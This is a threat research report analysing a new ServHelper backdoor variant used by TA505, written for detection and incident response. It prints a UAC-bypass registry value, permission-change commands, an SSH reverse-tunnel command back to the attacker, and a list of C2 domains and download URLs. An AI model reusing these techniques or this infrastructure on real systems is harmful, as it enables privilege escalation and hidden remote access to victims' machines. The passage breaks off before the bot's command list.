James Quinn, Threat Researcher for Binary Defense
Executive Summary
Binary Defense Researchers discovered active Command and Control (C2) servers and a new version of ServHelper, a malicious Remote Desktop Protocol (RDP) backdoor program known to be used by the threat group TA505. TA505 is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution. (link to MITRE ATT&CK page on TA505: https://attack.mitre.org/groups/G0092/). The new version of ServHelper attempts to evade defenses by tunneling RDP connections through a Secure Shell (ssh) connection back to the threat actors’ servers. Indications of Compromise (IoCs) and strategies to increase detection of this new threat are provided at the end of this report. A complete technical description of the malware’s operation and layers of protection are detailed for other malware analysts to use when analyzing and identifying malware samples found in incident response or threat hunting activities.
Malware Sample Discovery
Binary Defense’s Threat Hunting team recently discovered a malware distribution server used by the cybercrime group TA505. Stored on that server were various commodity Remote Access Trojans (RATs) and downloaders, including the downloader Amadey, which has been known to deliver FlawedAmmyy and EmailStealer. Among the commodity RATs was a file called “signed.exe” that contained several layers, or stages, of obfuscation to disguise the final payload: a new variant of ServHelper, TA505’s main downloader and Remote Desktop Protocol (RDP) backdoor. The new variant uses OpenSSH to tunnel RDP connections from the victim computer back to the attacker’s server and includes some new command options. Refer to the MITRE ATT&CK page on ServHelper for more background: https://attack.mitre.org/software/S0382/
Initial Analysis – a PowerShell Script Packed Using NSIS
Upon investigating “signed.exe”, the first takeaway is that it is packed using the Nullsoft Scriptable Installer System (NSIS), which is an open source installation package utility. Typically, this form of packer can be easily unpacked by opening the file as a zip file in an unarchiving program and extracting the contents. However, this installer had been modified and cannot be extracted with all unarchivers. 7-zip’s command-line interface (CLI) extractor was the most successful for pulling out the payload stored in signed.exe. Contained inside of “signed.exe” is a PowerShell script file named premiumlegitYFDTBOHHRX.ps1. Interestingly, the file information for “signed.exe” described it as “premium legit YFDTBOHHRX isntaller”[sic – the malware contained the misspelling of installer as written]. Pivoting off the use of “premium legit” in the signature reveals 20 files that all match “signed.exe” in functionality, uploaded to VirusTotal in early November 2019. Hashes for all matching files are included in the IOC section.
PowerShell Analysis – Encrypted Binary Data Encoded Using Base64
The premiumlegitYFDTBOHHRX.ps1 file is a large (3.6MB) file filled with mainly Base64-encoded data. Decoding the Base64-encoded data reveals encrypted binary data. At the end of the script is a small bit of code that takes two supplied arguments, decodes and decrypts the Base64-encoded data using the arguments as keys, then executes the result with an Invoke-Expression call, which indicates that the decrypted result is expected to be PowerShell code.
By replacing the Invoke-Expression call with “Write-Output $VRFJLOKRGX | Out-File Malware.txt”, the malware will do all the difficult decrypting and then write it to a file for easy analysis.
PowerShell Analysis, Part 2 – Decrypted Payloads Include RDP Wrapper and UAC Bypass
Just like the first PowerShell script, this script is also massive at 5MB, because it packs so many payloads inside itself. Along with both a 32-bit and 64-bit version of the ServHelper bot and Remote Desktop Protocol (RDP) wrapper, the PowerShell script also includes the User Access Control (UAC) bypass tool called uacme, using DLL files named fubuki32 and fubuki64 also embedded inside. Additionally, there are various config files and other DLLs used by the RDP wrapper. As the PowerShell script is massive, analysis is difficult. However, toward the bottom of the script, the first few commands that are run attempt to query the System Management Bios data tables (SMBiosData), in order to evaluate privilege status. Analysis of the script and testing of the malware in a controlled environment proved that a function named “heller” is called when the script is executed from a non-privileged user account.
Privilege Escalation “heller” Function Analysis
The heller function serves the purpose of the privilege escalation for the PowerShell installer. At the beginning of the function are the uacme DLLs (fubuki32 and fubuki64), encoded in decimal. Additionally, heller initializes some optional parameters, which were unused in this script, but would allow the loading of custom DLLs if they were used in a different variant. The malware also uses a simple and elegant technique to determine OS architecture. If the size of an IntPtr is 4 bytes long, it is a 32-bit system; if an IntPtr is 8 bytes long, the system must be 64-bit. The PowerShell script includes both a 32-bit and a 64-bit version of uacme and will run whichever DLL matches the OS architecture. These DLLs are modified from the standard uacme; their main purpose is to relaunch the PowerShell script with the highest privilege level.
Privilege Escalation on Windows 7
Next, the malware looks at what OS version it is running on and compares it to three strings: “10” for Windows 10, “76” for Windows 7, and “96” for Windows 8. These strings ultimately decide which exploit is used to escalate to the highest privilege level. If Windows 7, the uacme dll is renamed “Cryptbase.dll”, and is then written to C:WindowsSystem32Sysprep, and then sysprep.exe is called. This particular method takes advantage of DLL search order hijacking. When sysprep.exe is loading its libraries, it will search its current directory first, where it will locate and load the malicious Cryptbase.dll, thus triggering the UAC bypass.
Privilege Escalation on Windows 8 and Windows 10
If the script is run in Windows 8 or Windows 10, the malware will abuse the DiskCleanup utility. First, the malware will change the environment variable “windir” (HKCU:/Environment/windir) from the standard value “C:Windows” to the following value:
powershell -ExecutionPolicy bypass -w hidden -Command `”& `’$pth`’`”;”
where $pth is the full path to the malicious script to execute. With that set, it will then run the task MicrosoftWindowsDiskCleanupSilentCleanup, which will execute the PowerShell script with highest privileges.
Analysis of Installer Restarted with Elevated Privileges
Once the script is running with highest privileges, and after querying the System Management Bios, the install function is executed to install the malware to the victim’s computer. Contained inside the PowerShell script are several buffers of Base64-encoded gzip-compressed data. Decoding and unzipping that data yields more base64 encoded data. That final layer of base64 data appears to be the last layer of encoding.
Decoding Registry Key and Values into file mstc.reg
As demonstrated in the above screenshot, the first buffer to be used is a buffer called “$reg”, which contains a registry key and associated values. The registry key and values are decoded using a function named “react” and saved to a file named mstc.reg in the $TEMP folder. The malware then looks for the termservice service, and if it doesn’t exist, imports the now decoded $reg from the file mstc.reg.
Decoding and Saving RDPwrap Binary Files and Configuration File to Windows Mail Folder
After saving the registry key and values into the mstc.reg file, several buffers containing additional binaries are initialized. The variable names are as follows:
$rdp – 32-bit modified RDPwrap
$bot – 32-bit ServHelper
$rdp64 – 64-bit modified RDPwrap
$bot64 – 64-bit ServHelper
$cfg – RDP wrapper config
$clip – legitimate rdpclip.exe
$vmt – legitimate rfxvmt.dll
After performing another IntPtr OS architecture check, the corresponding 32-bit or 64-bit versions of RDP wrapper and ServHelper bot are saved to the following locations on disk:
%ProgramFiles%Windows Mailappcache.xml (RDPwrap)
%ProgramFiles%Windows Maildefault_list.xml (ServHelper bot)
Additionally, the config file is saved to:
%ProgramFiles%Windows Mailcleanuptask.cfg.
Regarding the two legitimate binaries, rdpclip.exe is necessary for file copy and pasting in an RDP session while rfxvmt.dll is necessary for Microsoft RemoteFX VM Transport, which adds additional functionality to RDP, like access to physical Graphics Processing Units (GPUs) for hardware acceleration.
A search for those 2 files is performed on the computer, and if they are not found, the malware will write them to the system. Additionally, the malware will make the following permission changes:
takeown.exe /A /F rfxvmt.dll
icacls.exe rfxvmt.dll /inheritance:d
icacls.exe rfxvmt.dll /setowner “NT SERVICETrustedInstaller”
icacls.exe rfxvmt.dll /grant “NT SERVICETrustedInstaller:F”
icacls.exe rfxvmt.dll /remove “NT AUTHORITYSYSTEM”
icacls.exe rfxvmt.dll /grant “NT AUTHORITYSYSTEM:RX”
icacls.exe rfxvmt.dll /remove “BUILTINAdministrators”
icacls.exe rfxvmt.dll /grant “BUILTINAdministrators:RX”
These permission changes are necessary for the two dropped DLL files to function properly.
Maintaining Persistence
In order to maintain persistence, the malware first changes the RDP port from 3389 to 7201. This aids in hiding traffic, as RDP now communicates from an unexpected port. Additionally, because the Windows Display Driver Model (WDDM) driver has been known to black screen computers on RDP user disconnect, the malware disables this. Also, the modified RDPWrap (appcache.xml) is installed as the TermService ServiceDll. This modified RDPWrap will then locate and load the Servhelper bot, while also proxying function calls to the legitimate Termserv.dll.
With everything installed, the malware then runs the function “cleanupper”, which removes any .tmp, .ps1, and .txt files stored in %temp%. Additionally, the malware restarts the TermServ service, along with the RDPDR service. It also grabs the main username by querying env:username. It saves this file to a file called usrnm.txt, which it saves to %tmp%.
The malware is now fully installed and running with SYSTEM level privileges.
ServHelper (SSH Tunneling Variant) Analysis
Originally discovered by Proofpoint in November 2018, ServHelper is one of TA505’s custom backdoors and downloaders. While the functionality of the two variants discovered by Proofpoint appeared to be split with one variant acting as a downloader and the other acting as a backdoor, the variant found in early November 2019 appears to combine aspects of both old variants along with the addition of browser credential theft.
Packed with PeCompact
In its base form, ServHelper is packed with PeCompact, a well-known packer used for legitimate software and malware alike. While there are two versions of ServHelper contained in the PowerShell script—a 32-bit version and a 64-bit version—they are largely identical and key functionality is the same for both.
Anti-Sandbox Evasion Technique: Searching for Microsoft Anti-Virus VM File
One of the first actions performed by the malware is to search for the Microsoft Antivirus VM file, aaa_Touchmenot_.txt, which is stored in the root directory. To get the value “aaa_Touchmenot_.txt”, the malware must decrypt the string “w:\yuo_RiirfGsCmn_.rrh”, using a four character Vigenere square cipher. If the malware detects that the AV VM file exists, the malware quits. The string is stored in encrypted form likely to evade static detections for that particular file name. The malware detects if it is running in an AV sandbox to evade behavior-based automated analysis.
Decrypting Bot Configuration for Command and Control
Next, after determining that the malware is not running in an AV sandbox, the malware decrypts a series of important strings used for C2 connection. The strings (with a brief description for each) are below:
- lot – XOR network key
- wgautilacc – user account to be installed
- 0000999999 – Placeholder
- http:// – beginning part of main C2 address
- laph.icu – Main C2 Address
- /like/b.php – php file used by C2
- lopottw – malware key
- VXVRPCHJ – Name of file dropped by malware that contains profile information
- service1.exe – Renamed ssh.exe
- shhhfjsiagguud.icu – Backup C2
- fdg4a35ggs.pw – Backup C2
- nov5 – BotID
- jun12 – Backup BotID
- 000009999999 – Placeholder
- http://almagel[.]icu/cp.exe – Profile Swap information
- http://almagel[.]icu/ssh.zip – ssh backup
- http://gabardina[.]xyz/log.txt – Encrypted NetSupport RAT
- c:windowstemp – Drop location
- updsvc.exe – Renamed update service
- fesdg – password for cp.exe
- http://kuarela[.]xyz/1.txt – Unused C2
Many of the functions used by this RAT are formatted like this. The malware decrypts the strings to be used in the beginning of the function.
Verifying Runtime Environment and Locating Saved Values in Temp File
Next, after decrypting a few more strings used by the malware in startup, the malware checks that the command line arguments do not contain “asfofhr”, “fsfifh4a”, or “huff”. The first two strings are the names of exported functions in the DLL, while the name “huff” is not an exported function name and may be either a leftover from a previous version or a placeholder meant for a new version. Next, the malware will search for a file named VXVRPCHJ, stored in %temp%, which contains the following information:
- botid
- OSVERSION
- architecture
- ComputerName
- Username
- AddedUsername
- AddedPassword
- Number
For example, in the analyzed sample, the file named VXVRPCHJ contained the following:
nov5;Windows 10 (Version 10.0, Build 18362, 64-bit Edition);x64;DESKTOP-<REDACTED>$;<REDACTED>;winacc:wgautilacc;8r7aIf0j;78874
If VXVRPCHJ file exists, the malware will then parse out that information and continue. If VXVRPCHJ does not exist, the malware will run its install function.
ServHelper Install Function
The ServHelper install function has one goal: to install the user account used by the threat actor, as well as ensuring that RDP is set up fully for the threat actor’s uses. As a result, one of the first actions taken by this function is to enumerate groups contained on the computer and to also add the threat actor account to the computer.
First, the local group install function decrypts the SID’s related to both the Administrators Group (S-1-5-32-544) as well as the Remote Desktop Users group (S-1-5-32-555), and then uses them to enumerate said groups. From there, the malware adds the threat actor account to both Administrators group as well as the Remote Desktop Users group. This allows them to remotely connect to the infected machine.
Setting RDP Configuration Options
With the threat actor account created and added to the admins and RDP groups, the malware moves to ensuring RDP is configured in the proper way. This involves changing the following registry key values for SYSTEMCurrentControlSetControlTerminal Server :
- fDenyTSConnections – Set to 0, this allows Term Service connections
- FSingleSessionPerUser – Set to 1, this forces each newly connected user to use the same session
For SYSTEMCurrentControlSetControlLsa:
- LimitBlankPasswordUse – Set to 0, allows users without a password to remotely connect
For SYSTEMCurrentControlSetControlTerminal ServerLicensing Core:
- EnableConcurrentSessions – Set to 1, allows for simultaneous connections of multiple remote users at once
For SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon:
- AllowMultipleTSSessions – Set to 1, allows for multiple Terminal Service connections at one time
For SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList:
- Add wgautilacc to this list of accounts
For SoftwarePoliciesMicrosoftWindows NTTerminal Services:
- fAllowToGetHelp – Set to 1, which allows the victim computer to “receive help from a friend or a support professional”
With RDP properly set up, the malware shifts to creating the VXVRPCHJ file that it searches for to check if installation was successful.
Creating VXVRPCHJ File to Store Saved Values
First, the malware checks usrnm.txt, which was dropped by the PowerShell script. Next, it enumerates architecture type by checking the value of the environment variable “ProgramW6432”. If the environment variable has a value, the architecture is 64-bit. If not, the architecture is 32-bit. The malware also grabs the botid, OS type, and threat actor account info, which it then saves to VXVRPCHJ, in the format
- botid
- OSVERSION
- architecture
- ComputerName
- Username
- AddedUsername
- AddedPassword
- Number
Non-Main Threads – Accessing Chrome Browser Profiles and Keylogger Thread
With the malware fully installed, it then moves to executing the non-main threads. The first thread to be executed launches the exported DLL function named “fsfifh4fa”, which is used by the malware to access the victim’s Chrome web browser user profiles. This export accepts the following commands: nouac, chrome, launch.
Additionally, the malware launches the keylog thread, which executes the bot DLL with the export “huff”. Huff is interesting because in the analyzed version of this malware, huff does not exist. However, it is used throughout the malware for keylogging purposes. If huff did exist, the malware would save the logged keys to a file stored in temp called “mod.txt”. This may represent planned future functionality for the malware.
ServHelper Main Threads
With the export and keylogging threads setup (if the DLL implements a keylogger function), the malware first decrypts a string that translates to “main thread”, before creating two threads. The first thread seems to be in charge of all communication as well as all commands that the C2 can run when communicating back to the bot. The next thread is in charge of opening an SSH tunnel
to send all RDP traffic back to the C2. This thread is also in charge of ensuring that the tunnel stays open.
OpenSSH Tunnel Thread
As this thread is in charge of installing the tunnel as well as ensuring the tunnel stays open, the function will first enumerate all processes and step through them in order to ensure that the openssh.exe is not already running (indicating an open tunnel). Additionally, the malware searches for the openssh binary. If neither are found, the malware downloads ssh from the ssh backup C2 and then opens a ssh tunnel using the following command:
openssh.exe -N -R :localhost:7201 tunnel@ -o “StrictHostKeyChecking=no” -o “ExitOnForwardFailure=yes” -o “ServerAliveInterval=5” -o “ServerAliveCountMax=1”
The command uses -N to instruct ssh to not execute a command on the remote server. Additionally, it uses -R to allow localhost:7201 to be tunneled to the ssh server. Finally, it sets the command line options like StrictHostKeyChecking, using -o. With the tunnel properly installed, the malware will decrypt “tun ok on server”, and send that string, the port that the tunnel exists on, along with the Process ID (PID) of the tunnel openssh process back to the C2.
Communication Thread – Using HTTP or HTTPS to Communicate with the C2 Server
This thread is in charge of communicating back to the C2 as well as parsing and executing any commands sent back from the C2 server. Communication is encrypted with a XOR key decrypted in the C2 function. Additionally, data sent by the bot to the C2 is also encoded with base64.
In order to establish connection with the C2, the bot must first decrypt the following user-agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
The malware uses the following arguments which are passed to the C2 php script in a POST request:
- key=
- sysid=
- resp=
- rights=
- misc=
The malware will encrypt all traffic using the multi-bit XOR key, “LOT” (hex: 4c 4f 54). It will also encode all of its responses with base64 to aid in hiding the traffic. All traffic is sent over https using Let’s Encrypt issued certificates. In order to help with analysis, the malware was executed on a test machine with all network traffic redirected to a local analysis computer for capture and viewing. Additionally, modifications were made to the code to force http instead of https. The screenshot below shows a message sent from the malware to its C2 server:
The data translates to
- key: lopottw
- sysid: nov5;Windows 10 (Version 10.0, Build 18362, 64-bit Edition);x64;<REDACTED>$;<REDACTED>;winacc:wgautilacc;yFGxsd8q;47354
- resp: nop ok
- rights: ffff
After receiving a response from the server, the malware parses the response and compares it to a series of commands in order to decide what to do with the response. In the above request, the server issued the “nop” command, which is the heartbeat equivalent command for this malware.
Commands Accepted by the Bot
This malware has around 30 commands that the C2 can send to interact with the malware. While many of these commands have been discussed in the Proofpoint analysis, a few of these are new and will be discussed in further depth later in this analysis. The total list of commands are as follows: